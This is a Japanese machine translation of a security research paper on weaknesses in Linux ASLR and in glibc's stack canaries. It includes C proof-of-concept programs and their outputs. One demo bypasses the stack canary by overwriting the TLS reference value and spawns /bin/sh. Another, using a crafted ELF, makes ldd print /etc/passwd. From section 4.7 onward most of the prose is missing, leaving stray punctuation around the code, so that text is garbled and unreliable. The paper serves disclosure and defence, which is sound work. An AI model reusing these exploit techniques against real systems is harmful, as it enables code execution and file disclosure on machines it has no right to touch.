Linux ASLRの再定義





Linuxカーネルは、サーバーとユーザーマシン、モバイルプラットフォーム(Android OS)、さまざまなスマートデバイスの両方で世界中に広く分散しています。 Linuxカーネルに存在する間、カーネル自体とユーザーアプリケーションの両方に存在する可能性がある脆弱性の悪用から保護するために、さまざまなメカニズムが導入されています。 このようなメカニズムは、特にASLRとスタックカナリアであり、アプリケーションの脆弱性の悪用に対抗します。







このホワイトペーパーでは、現在のバージョン(4.15-rc1)のLinuxカーネルでのASLRの実装について説明します。 この保護を部分的または完全に回避する問題が発見されました。 問題の説明とともに、いくつかの修正が提案されています。 特別なユーティリティが開発され、見つかった問題を実証するためにレビューされました。 すべての問題はx86-64アーキテクチャのコンテキストで対処されますが、Linuxカーネルでサポートされているほとんどのアーキテクチャでは、それらも関連しています。







アプリケーションが機能するための多くの重要な機能がユーザー空間に実装されているため、ASLR実装メカニズムの分析中に、GNU Libcライブラリ(glibc)の一部が分析され、スタックカナリアの実装に重大な問題が見つかりました。 スタックカナリア保護をバイパスし、lddユーティリティを介して任意のコードを実行できました。







このペーパーでは、アプリケーションの実行時にASLRをバイパスするさまざまな方法について説明します。







1. ASLR



ASLR(アドレス空間レイアウトのランダム化)は、一部の最新のオペレーティングシステムで使用されている特定のクラスの脆弱性の悪用を複雑にするように設計された技術です。 この技術の基本原則は、攻撃者に知られているプロセスアドレスアドレスを排除することです。 特に、必要なアドレスは次のとおりです。









このテクノロジーは2005年にLinux向けに初めて実装されました。 Microsoft WindowsおよびMac OSでは、実装は2007年に登場しました。 LinuxでのASLR実装の適切な説明は、(2)にあります。







ASLRの存在中に、この技術を回避するためのさまざまな手法が作成されましたが、その中で次のタイプを区別できます。









異なるオペレーティングシステムでは、ASLRの実装が非常に異なり、進化していることに注意してください。 最近の変更は、2014年に発表されたOffset2lib(7)の作業に関連しています。 その中で、すべてのライブラリがプログラムのバイナリELFファイルのイメージに近接しているため、ASLRをバイパスできる実装上の弱点が明らかになりました。 解決策として、ランダムに選択された別の領域でアプリケーションのELFファイルのイメージを選択することが提案されました。







2016年4月、Offset2libの作成者も現在の実装を批判し、ASLR-NGでリージョンアドレスを選択する際のエントロピーが不十分であることを強調しました(8)。 ただし、それ以降、パッチは公開されていません。







現時点でLinuxで実行されているASLRの結果を検討してください。









2. Linux上のASLR



最初の経験として、Ubuntu 16.04.3 LTS(GNU / Linux 4.10.0-40-generic x86_64)に最新の更新をインストールしてください。 結果は、3.18-rc7以降のLinuxディストリビューションとカーネルバージョンにあまり依存しません。 Linuxコマンドラインで「less / proc / self / maps」を実行すると、次のようなものが表示されます。







例は次のとおりです。









減算を隣接メモリ領域に適用すると、バイナリファイル、ヒープ、スタック、およびローカルアーカイブの下位アドレスとldの上位アドレスに大きな違いがあることに気付くでしょう。 ロードされたライブラリ(ファイル)間に単一の空きページはありません。







手順を何度も繰り返しても、画像はそれほど変わりません。ページ間の違いは異なりますが、ライブラリとファイルは相互に等しく配置されます。 この事実は、この記事のリファレンスポイントになりました。







3.なぜそうなのか



仮想プロセスのメモリ割り当てのメカニズムがどのように機能するかを考えてみましょう。 すべてのロジックはdo_mmapカーネル関数にあり、ユーザー側(syscall mmap )とカーネル側( execveの実行時)の両方からメモリ割り当てを実装します。 これは2つのアクションに分かれています-最初に適切な空きアドレス( get_unmapped_area )を選択し、次に選択したアドレスにページをマッピングします( mmap_region )。 最初の段階に興味があります。







住所の選択では、次のオプションが可能です。







  1. MAP_FIXEDフラグが設定されている場合、 addr引数の値がアドレスとして返されます。
  2. addr引数の値がゼロ以外の場合、「ヒント」として使用され、場合によってはこの値が選択されます。
  3. アドレスとして、空き領域の最大アドレスが選択され、長さが適切で、選択されたアドレスの許容範囲内にあります。
  4. アドレスはセキュリティ制限のためにチェックされます(後でこれに戻ります、セクション7.3)。


すべてがうまくいった場合、目的のメモリ領域が選択したアドレスに割り当てられます。







アドレス選択アルゴリズムの詳細



プロセス仮想メモリマネージャは、 vm_area_struct構造体(以降、単にvma)に基づいています。







struct vm_area_struct { unsigned long vm_start; /* Our start address within vm_mm. */ unsigned long vm_end; /* The first byte after our end address within vm_mm. */ ... /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... pgprot_t vm_page_prot; /* Access permissions of this VMA. */ ... };
      
      





この構造は、仮想メモリの領域の始まり、領域の終わり、および領域内のページのアクセスフラグを記述します。







vmaは 、地域の始まりのアドレスを増やすことにより、二重にリンクされたリスト(9)に編成されます。 また、拡張された赤黒ツリー(10)でも、領域の先頭の昇順アドレスで。 このソリューションの正当な理由は、カーネル開発者自身によって与えられています(11)。







アドレスの昇順で二重にリンクされたvmaリストの例:









赤黒ツリーの拡張は、問題のノードの空きメモリの量です。 ノードの空きメモリの量は、最大値として決定されます。









拡張された赤黒木vmaの例:











選択した構造により、目的のアドレスに対応するvmaをすばやく(O(log n)で)見つけるか、特定の長さの自由な範囲を選択できます。







アドレスを選択するとき、2つの重要な境界も導入されます。可能な限り低い値と、可能な限り高い値です。 下位のアドレスは、最小許容アドレスまたはシステム管理者が許容する最小アドレスとしてアーキテクチャによって定義されます。 一番上のmmap_basestack-randomとして選択されます 。stackは選択された最大スタックアドレス、randomは対応するカーネルパラメーターに応じて28〜32ビットのエントロピーを持つランダムな値です。 Linuxカーネルはmmap_baseより上のアドレスを選択できません。 プロセスのアドレス空間で、大きなmmap_baseであるアドレスは、スタックおよび特別なシステム領域-vvarおよびvdsoに対応するか、 MMAP_FIXEDフラグで明示的に割り当てられない限り、決して使用されません。







スキーム全体では、メインスレッドスタックの開始アドレス、アプリケーションバイナリファイルをロードするベースアドレス、アプリケーションヒープの開始アドレス、およびmmap_basemmapを使用したメモリ割り当ての開始アドレス)は不明です。







4.なぜ悪いのか



説明したメモリ割り当てアルゴリズムには、いくつかの問題があります。







4.1メモリ位置を閉じる



動作中、アプリケーションは仮想RAMを使用します。 アプリケーションによるメモリ使用の一般的な例は、ロードされたモジュールのヒープ、コードとデータ(.rodata、.bss)、ストリームスタック、ロードされたファイルです。 これらのページにあるデータの処理エラーは、近くのデータに影響を与える可能性があります。 異種ページが近くにあるほど、攻撃対象領域が大きくなり、操作が成功する可能性が高くなります。







このようなエラーの例としては、境界処理のエラー(範囲外(4))、オーバーフロー(整数(12)またはバッファー(13))、タイプ処理エラー(タイプの混乱(14))があります。







この問題の特殊なケースは、(7)で説明されているOffset2lib攻撃の脆弱性です。 要するに、問題は、プログラムのベースロードアドレスがライブラリとは別に割り当てられず、カーネルによってmmap_baseとして選択されたことです。 アプリケーションに脆弱性があった場合、ロードされたライブラリのイメージがロードされたバイナリアプリケーションのイメージに近いため、悪用が簡素化されました。







この問題を実証する非常に良い例は、PHP(15)の脆弱性で、これにより隣接メモリ領域の読み取りまたは変更が可能になりました。







セクション5では、いくつかの例を示します。







4.2確定的なライブラリのロード方法



Linuxカーネルにアクセスしなくても、Linuxでの動的ライブラリのロードはほぼ完全に行われます。 ldライブラリ(GNU Libcから)がこれを担当します。 カーネルの参加はmmap関数のみです(open / statおよびその他のファイル操作についてはまだ考慮していません)。これは、コードとライブラリデータをプロセスアドレス空間に読み込むために必要です。 例外はldライブラリ自体です。これは通常、ファイルをロードするためのインタープリターとしてプログラムのELF実行可能ファイルに書き込まれます。 インタープリター自体にカーネルがロードされます。







したがって、GNU Libcのldがインタープリターとして使用される場合、ライブラリーはほぼ次のようにロードされます。







  1. プログラムELFファイルが処理済みファイルのキューに追加されます。
  2. 最初のELFファイル(FIFO)は、処理済みファイルのキューから削除されます。
  3. ファイルがプロセスのアドレス空間にまだロードされていない場合、mmapを使用してロードされます。
  4. 問題のファイルに必要な各ライブラリは、処理済みファイルのキューに追加されます。
  5. キューが空でない間-ステップ2を繰り返す必要があります。


このアルゴリズムから、読み込み順序は常に決定され、すべての必要なライブラリ(それらのバイナリファイル)がわかっている場合は繰り返すことができます。 これにより、少なくとも1つのライブラリのアドレスがわかっている場合、すべてのライブラリのアドレスを復元できます。







  1. libcライブラリのアドレスがわかっているとします。
  2. libcライブラリの長さをlibcダウンロードアドレスに追加し、libcの前にロードされたライブラリのロードアドレスを取得します。
  3. この方法で計算を続けると、mmap_baseの値と、libcの前にロードされたライブラリのアドレスが取得されます。
  4. libcアドレスからlibcの後にロードされたライブラリの長さを引きます。 libcの後にロードされたライブラリのアドレスを取得します。
  5. この方法で計算を続けると、ldインタープリターを使用して、プログラムの起動時に読み込まれたすべてのライブラリのアドレスを取得します。


プログラムの実行中にライブラリがロードされた場合(たとえば、dlopen関数を使用)、他のライブラリとの相対的な位置が攻撃者に知られない場合があります。 たとえば、割り当てられたメモリ領域のサイズが攻撃者にとって未知のmmap呼び出しがあった場合。







脆弱性を悪用する場合、ライブラリアドレスを知ることは、たとえば、ROPチェーンを構築するときに「ガジェット」を見つけるのに役立ちます。 さらに、ライブラリが次々と移動するため、このライブラリのアドレスに関連する値の読み取り(書き込み)を許可するライブラリの脆弱性は簡単に悪用されます。







ほとんどのLinuxディストリビューションには、最も一般的なライブラリ(libcなど)を含むコンパイル済みパッケージが含まれています。 これにより、上記の場合にプロセスの仮想アドレス空間の分散パターンの一部を構築するときに、ライブラリの長さに関する知識が得られます。







理論的には、ld、libc、libpthread、libmライブラリなどのバージョンを含むUbuntuディストリビューションなどの大規模なデータベースを構築できます。また、ライブラリの1つのバージョンごとに、それに必要なライブラリの多くのバージョンを定義できます(依存関係)。 したがって、ライブラリの1つの既知のアドレスを使用して、プロセスアドレス空間の一部の分散マップの可能なバリアントを構築することができます。







このようなデータベースの例としては、 libcdb.comおよびlibc.blukat.meデータベースがあります 。これらのデータベースは 、既知の機能へのオフセットによってlibcバージョンを判別するために使用されます。







これまで説明してきたことから、ライブラリをロードする決定論的な順序はアプリケーションセキュリティの問題であり、その値は前述のmmapの動作とともに増加することになります。 Androidでは、この問題はバージョン7(16)(17)から修正されました。







4.3確定的な実行順序



プログラムの次の特性を考慮してください。プログラムフローには特定のポイントのペアがあり、それらの間で、関心のあるデータのプログラムの状態が決定されます。 たとえば、クライアントがネットワークサービスに接続すると、後者はクライアントにいくつかのリソースを割り当てます。 これらのリソースの一部は、アプリケーションヒープから割り当てることができます。 この場合、ほとんどの場合、ヒープ上のオブジェクトの相対位置が決定されます。







このプロパティは、プログラムの必要な状態を構築するときに、アプリケーションの操作中に使用されます。 これを確定実行順序と呼びます。







このプロパティの特殊なケースは、プログラムフローの特定の明確なポイントです。このポイントでは、プログラム実行の開始から開始まで(ポイント)、一部の変数を除いてその状態は同一です。 たとえば、プログラムのメイン関数を実行する前に、ldインタープリターはすべてのライブラリをロードして初期化し、プログラムを初期化する必要があります。 セクション4.2で述べたように、ライブラリの相対的な場所は常に同じです。 メイン関数の実行時の違いは、そのメモリ内のこのメモリに割り当てられているプログラム、ライブラリ、スタック、ヒープ、およびオブジェクトの特定のアドレスにあります。 違いは、セクション6で説明されているランダム化によるものです。







このプロパティにより、攻撃者はプログラムデータの相対位置に関する情報を取得できます。 この場所は、プロセスのアドレス空間のランダム化に依存しません。







この段階で唯一可能なエントロピーは、フローの競合が原因である可能性があります。プログラムが複数のフローを作成する場合、データを操作する際の競合によりオブジェクトの場所にエントロピーが導入される可能性があります。 この例では、 mainを実行する前に、プログラムのグローバルコンストラクターまたは必要なライブラリからスレッドを作成できます。

プログラムがヒープの使用を開始し、メモリを割り当てる(通常はnew / mallocを使用する)と、ヒープ上のオブジェクトの相対的な位置も、特定のポイントまで各起動に対して一定になります。







場合によっては、作成されたスレッドとそれらのために作成されたヒープのスタックは、ライブラリアドレスに関しても予測可能です。







必要に応じて、これらのオフセットを取得して操作中に使用できます。 たとえば、特定のアプリケーションに対して「strace -e mmap」を2回実行し、アドレスの違いを比較します。







4.4穴



アプリケーションがmmapを使用してメモリを割り当てた後、その一部を解放すると、「穴」が発生する可能性があります-占有領域に囲まれた空きメモリ領域。 このメモリ(ホール)が脆弱なオブジェクト(処理中にアプリケーションに何らかの脆弱性を持つオブジェクト)に再度割り当てられると、問題が発生する可能性があります。 これも、メモリ内のオブジェクトの近接性の問題につながります。







このようなホールを作成する良い例は、LinuxカーネルのELFファイルのブートコードで見つかりました。 ELFファイルをロードするとき、カーネルは最初にダウンロードしたファイルのフルサイズを読み取り、 do_mmapを使用してファイル全体を表示しようとします。 ファイル全体のダウンロードが成功すると、最初のセグメント以降のすべてのメモリが解放されます。 次のセグメントはすべて、最初のセグメントに対して取得された固定アドレス( MAP_FIXED )にロードされます。 これは、選択したアドレスでファイル全体をダウンロードし、ELFファイルの説明に従って権利とオフセットによってセグメントを分離できるようにするために必要です。 このアプローチにより、セグメント間のELFファイルで定義されている場合、メモリに穴を作成できます。







ld(GNU Libc)インタープリターを使用してELFファイルを読み込む場合-同じ状況で-unmapを呼び出しませんが、空きページ(穴)のアクセス許可をPROT_NONEに変更し 、プロセスがこれらのページにアクセスできないようにします。 このアプローチはより安全です。







ホールを含むELFファイルをロードする問題を修正するために、Linuxカーネルは、GNU Libcのldのようなロジックを実装するパッチを提案しました(セクション7.1を参照)。







4.5 TLSとストリームスタック



TLS(スレッドローカルストレージ)は、マルチスレッドプロセスの各スレッドがデータストレージの場所を割り当てることができるメカニズムです(18)。 このメカニズムの実装は、アーキテクチャとオペレーティングシステムによって異なります。この場合、x86-64のglibcの実装です。 x86の場合、検討中のmmapの問題の違いは重要ではありません。







glibcの場合、 mmapはTLSストリームの作成にも使用されます。 これは、ストリームのTLSが上記の方法で選択され、脆弱なオブジェクトに近い場合は変更できることを意味します。







TLSの興味深いところは何ですか? glibcの実装では、TLSはセグメントレジスタfs (x86-64アーキテクチャの場合)によって示されます。 その構造は、glibcソースファイルで定義されているtcbhead_tタイプによって記述されます。







 typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t;
      
      





このタイプには、スタック上のバ​​ッファオーバーフローからアプリケーションを保護するランダム(または擬似ランダム)番号である、いわゆる「カナリア」を格納するstack_guardフィールドが含まれます(19)。







保護は次のように機能します。関数を入力すると、スタックに「カナリア」が配置されます。これはtcbhead_t.stack_guardから取得されます 。 関数の最後で、スタック上の値がtcbhead_t.stack_guardの参照値と比較され、一致しない場合、アプリケーションは失敗します。







次の回避策が知られています。









上記から、攻撃者によるTLSの読み取りまたは書き換えからTLSを保護することの重要性は次のとおりです。







この調査中に、pthread_createを使用して作成されたスレッドのglibcのTLS実装に問題が発見されました。 新しいストリームの場合、TLSを選択する必要があります。 glibcは、スタックにメモリを割り当てた後、このメモリの上位アドレスでTLSを初期化します。 検討中のx86-64アーキテクチャでは、スタックが縮小します。つまり、TLSはスタックの最上位にあります。 TLSから一定の値を除いて、スタックレジスタの新しいスレッドが使用する値を取得します。 TLSからpthread_createの引数によって渡される関数のスタックフレームまでの距離は1ページ未満です。 攻撃者は「カナリア」の意味を推測したり「覗いたり」する必要がなくなり、単に参照値をスタック上の値で上書きし、この保護を完全にバイパスできます。 同様の問題がIntel MEで見つかりました(22)。







4.6 mallocとmmap



場合によってmallocを使用する場合、glibcはmmapを使用してメモリの新しいセクションを割り当てます-要求されたメモリのサイズが特定の値より大きい場合。 これらの場合、メモリはmmapを使用して割り当てられます。つまり、割り当て後のアドレスは、ライブラリまたはmmapによって割り当てられた他のデータの「隣」にあります。 これらの場合、攻撃者の注意は、ヒープオーバーフロー、「use after free」(23)、「type confusion」(14)など、ヒープ上のオブジェクトの処理エラーによって引き付けられます。







pthread_createプログラムを使用すると、glibcライブラリの興味深い動作が見られました。 pthread_creaeteによって作成されたスレッドから初めてmallocが呼び出されると、glibcはmmapを呼び出してこのスレッドの新しいヒープを作成します。 この場合、このスレッドでmallocを使用して割り当てられたすべてのアドレスは、同じスレッドのスタックの近くに配置されます。 このケースについては、セクション5.7で詳しく説明します。







一部のプログラムおよびライブラリは、 mmapを使用してファイルをプロセスアドレス空間にマップします。 これらのファイルは、たとえばキャッシュとして使用したり、ディスク上のデータをすばやく保存(変更)したりするために使用できます。







抽象例:mmapを使用してアプリケーションにMP3ファイルをダウンロードさせます。 ダウンロードアドレスはmmap_mp3と呼ばれます 。 次に、ダウンロードしたデータからオフセットオーディオデータの開始前にオフセットを読み取ります。 取得した値の長さをチェックするエラーをアプリケーションに含めます。 その後、攻撃者は特別な方法でMP3ファイルを準備し、 mmap_mp3の後にあるメモリ領域にアクセスできます。







4.7 MAP_FIXEDおよびET_DYN ELFファイルのダウンロード



以下は、 MAP_FIXEDフラグのmmapマニュアルに書かれています。







MAP_FIXED

addrをヒントとして解釈しないでください。マッピングを正確にそのアドレスに配置してください。 addrはページサイズの倍数でなければなりません。 メモリ領域がaddrとlenで指定されている場合

既存のマッピングのページが重複している場合、既存のマッピングの重複部分は破棄されます。 f指定されたアドレスは使用できません、mmap()

失敗します。 マッピングに固定アドレスを要求することは移植性が低いため、このオプションの使用は推奨されません。







MAP_FIXEDフラグを持つ要求された領域が既存の領域と重複する場合、成功したmmapの結果は既存の領域を上書きします。







したがって、プログラマがMAP_FIXEDの操作でミスを犯した場合、既存のメモリ領域をオーバーライドできます。







このようなエラーの興味深い例は、Linuxカーネルとglibcの両方でこの作業のコンテキストで見つかりました。







(24)で説明されているELFファイルには要件があります。ELFファイルのセグメントは、 vaddrアドレスの昇順でPhdrヘッダーに続く必要があります。







PT_LOAD

配列要素は、p_fileszおよびp_memszで記述されるロード可能なセグメントを指定します。 ファイルのバイトは、メモリセグメントの先頭にマッピングされます。 セグメントのメモリサイズ(p_memsz)がファイルサイズ(p_filesz)よりも大きい場合、「追加」バイトは、値0を保持し、セグメントの初期化された領域に従うように定義されます。 ファイルサイズはメモリサイズより大きくない場合があります。 プログラムヘッダーテーブル内のロード可能なセグメントエントリは、p_vaddrメンバーでソートされた昇順で表示されます。







ただし、この要件は検証されていません。 現在のELFファイルのダウンロードコードは次のとおりです。







 case PT_LOAD: struct loadcmd *c = &loadcmds[nloadcmds++]; c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize)); c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize)); ... maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart; ... for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c) ... /* Map the segment contents from the file. */ if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart), maplen, c->prot, MAP_FIXED|MAP_COPY|MAP_FILE, fd, c->mapoff)
      
      





すべてのセグメントの処理アルゴリズムは次のとおりです。







  1. ダウンロードしたELFファイルのサイズを、最後のセグメントの終了アドレスから最初のセグメントの開始アドレスを引いて計算します。
  2. 計算されたサイズでELFファイル全体に対してmmapを使用してメモリを割り当て、ELFファイルのベースダウンロードアドレスを取得します。
  3. glibcの場合、アクセス権を変更します。 カーネルからロードする場合、穴を形成する領域を解放します。 この時点で、セクション4.4で前述したように、glibcとLinuxカーネルの動作は異なります。
  4. 最初のセグメントが選択されたときに取得したアドレスを使用し、ELFファイルヘッダーから取得したオフセットを追加して、 mmapと残りのすべてのセグメントに設定されたMAP_FIXEDフラグを使用してメモリを割り当てます。


ELF-, — , , .







ldd, . ld. ELF- , ldd:







 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin blackzert@crasher:~/aslur/tests/evil_elf$
      
      





/etc/passwd. :







 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffc48545000) libevil.so => ./libevil.so (0x00007fbfaf53a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000) /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)
      
      





evil_elf .







MAP_FIXED Linux (25), .







4.8



glibc , ASLR — . : , . glibc , , . mmap , . , . , , , .







: . , , . .







5.



, , mmap . , .







, .







5.1 C



pthread_create . ソースコード:







 int * p_a = 0; int * p_b = 0; void *first(void *x) { int a = (int)x; p_a = &a; sleep(1); return 0; } void *second(void *x) { int b = (int)x; p_b = &b; sleep(1); return 0; } int main() { pthread_t one, two; pthread_create(&one, NULL, &first, 0); pthread_create(&two, NULL, &second, 0); void *val; pthread_join(one,&val); pthread_join(two, &val); printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b); printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44
      
      





:







 blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44
      
      





, . 'Diff', . — ALSR.







5.2 , malloc



malloc . , malloc, . ソースコード:







 void *ptr; void * first(void *x) { int a = (int)x; int *p_a = &a; int pid = getpid(); printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; ptr = malloc(128 * 4096 * 4096 - 64); pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
      
      







:







 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24
      
      





:







 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24
      
      





, — . , malloc, — ASLR.







5.3 mmap



mmap pthread_create . , mmap, . ソースコード:







 void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f35b0e3d000, 0x7f35b963cf34
      
      





:







 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f5a1083f000, 0x7f5a1903ef34
      
      





. , mmap, — ASLR.







5.4 mmap TLS



mmap TLS . . , «» TLS. ソースコード:







 int main(int argc, char **argv, char **envp) { int res; char buffer[256]; sprintf(buffer, "%.255s",argv[0]); unsigned long * frame = __builtin_frame_address(0); unsigned long * tls; res = arch_prctl(ARCH_GET_FS, &tls); unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; printf("TLS %p , FRAME %p\n", tls, frame); printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]); printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr); unsigned long diff = tls - addr; tcbhead_t *head = (tcbhead_t*)&addr[diff]; printf("cookie from addr: 0x%lx\n", head->stack_guard); printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f520540c700 , FRAME 0x7ffed15ba130 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00 from mmap to TLS: 0x85c8700 cookie from addr: 0x94905ec857965c00 cookie == stack_cookie? true
      
      





:







 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300 from mmap to TLS: 0x85c8700 cookie from addr: 0x51327792302d5300 cookie == stack_cookie? true
      
      





, , «» . , «» . — , mmap . 0x85c8700 . ASLR «».







5.5 mmap glibc



4.2, : mmap «system» «execv» glibc — :







 int main(int argc, char **argv, char **envp) { int res; system(""); // call to make lazy linking execv("", NULL); // call to make lazy linking unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system"); unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv"); printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv); printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860 system - addr 8045390 execv - addr 80cc860
      
      





:







 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f534809c000 system 7f53500e1390 execv 7f5350168860 system - addr 8045390 execv - addr 80cc860
      
      





, . ASLR, , mmap. , , .







5.6



TLS-. , «» TLS, . — .

0x41. :







 void pwn_payload() { char *argv[2] = {"/bin/sh", 0}; execve(argv[0], argv, 0); } int fixup = 0; void * first(void *x) { unsigned long *addr; arch_prctl(ARCH_GET_FS, &addr); printf("thread FS %p\n", addr); printf("cookie thread: 0x%lx\n", addr[5]); unsigned long * frame = __builtin_frame_address(0); printf("stack_cookie addr %p \n", &frame[-1]); printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]); unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup; // example of exploitation // prepare exploit void *exploit = malloc(len); memset(exploit, 0x41, len); void *ptr = &pwn_payload; memcpy((char*)exploit + 16, &ptr, 8); // exact stack-buffer overflow example memcpy(&frame[-1], exploit, len); return 0; } int main(int argc, char **argv, char **envp) { pthread_t one; unsigned long *addr; void *val; arch_prctl(ARCH_GET_FS, &addr); if (argc > 1) fixup = 0x30; printf("main FS %p\n", addr); printf("cookie main: 0x%lx\n", addr[5]); pthread_create(&one, NULL, &first, 0); pthread_join(one,&val); return 0; }
      
      





. «»:







 blackzert@crasher:~/aslur/tests$ ./thread_stack_tls main FS 0x7fa0e8615700 cookie main: 0xb5b15744571fd00 thread FS 0x7fa0e7e2f700 cookie thread: 0xb5b15744571fd00 stack_cookie addr 0x7fa0e7e2ef48 diff : 7b8 *** stack smashing detected ***: ./thread_stack_tls terminated Aborted (core dumped)
      
      





«», pwn_payload , sh.







 blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1 main FS 0x7f4d94b75700 cookie main: 0x2ad951d602d94100 thread FS 0x7f4d94385700 cookie thread: 0x2ad951d602d94100 stack_cookie addr 0x7f4d94384f48 diff : 7b8 $ ^D blackzert@crasher:~/aslur/tests$
      
      





. , «». 0x7b8+0x30 , 2024 .







5.7 , malloc



, malloc . ソースコード:







 void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr; ptr = malloc(8); printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff844e98c</b> 0x7f20480008c0, 0x7f204fbb1f34
      
      





:







 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff94a598c</b> 0x7fa3140008c0, 0x7fa31ab5af34
      
      





. . , .







, : , malloc, [heap] .







glibc pthread_create . TLS , «» , : malloc.







«»?







glibc mmap, . 64 . 64 . 128 , 64 , , «» , mmap .







mmap_based : 64 , mmap , malloc .







, — .







, x86-64 Linux «47bits minus one guard page», 2^47 ( ).

64 2^26, 47 – 26 = 21. 2^21 .







.







mmap , , pthread_create , 64 , . , , . .







malloc . glibc, ld . .







6 , mmap_base , : mmap_base 28 32 ( 28 ). .







, 7 0x7f 0x7e. 7 . 2^14 . , .







C:







 void * first(void *x) { int a = (int)x; void *ptr; ptr = malloc(8); printf("%p\n", ptr ); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
      
      





, , Python:







 import subprocess d = {} def dump(iteration, hysto): print 'Iteration %d len %d'%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key] i = 0 while i < 1000000: out = subprocess.check_output(['./t']) addr = int(out, 16) #omit page size addr >>= 12 if addr in d: d[addr] += 1 else: d[addr] = 1 i += 1 dump(i,d)
      
      





'./t', , malloc . , , . 16 385 , 2^14+1. , .







« , malloc », . : mmap , , — .







5.8



malloc . , malloc . 0xdeadbeef. , malloc. . . ソースコード:







 void * func(void *x) { long a[1024]; printf("addr: %p\n", &a[0]); if (x) printf("value %lx\n", a[0]); else { a[0] = 0xdeadbeef; printf("value %lx\n", a[0]); } void * addr = malloc(32); printf("malloced %p\n", addr); free(addr); return 0; } int main(int argc, char **argv, char **envp) { int val; pthread_t thread; pthread_create(&thread, NULL, func, 0); pthread_join(thread, &val); pthread_create(&thread, NULL, func, 1); pthread_join(thread, &val); return 0; }
      
      





:







 blackzert@crasher:~/aslur/tests$ ./pthread_cache addr: <b>0x7fd035e04f40</b> value <b>deadbeef</b> malloced <b>0x7fd030000cd0</b> addr: <b>0x7fd035e04f40</b> value <b></b>deadbeef malloced <b>0x7fd030000cd0</b>
      
      





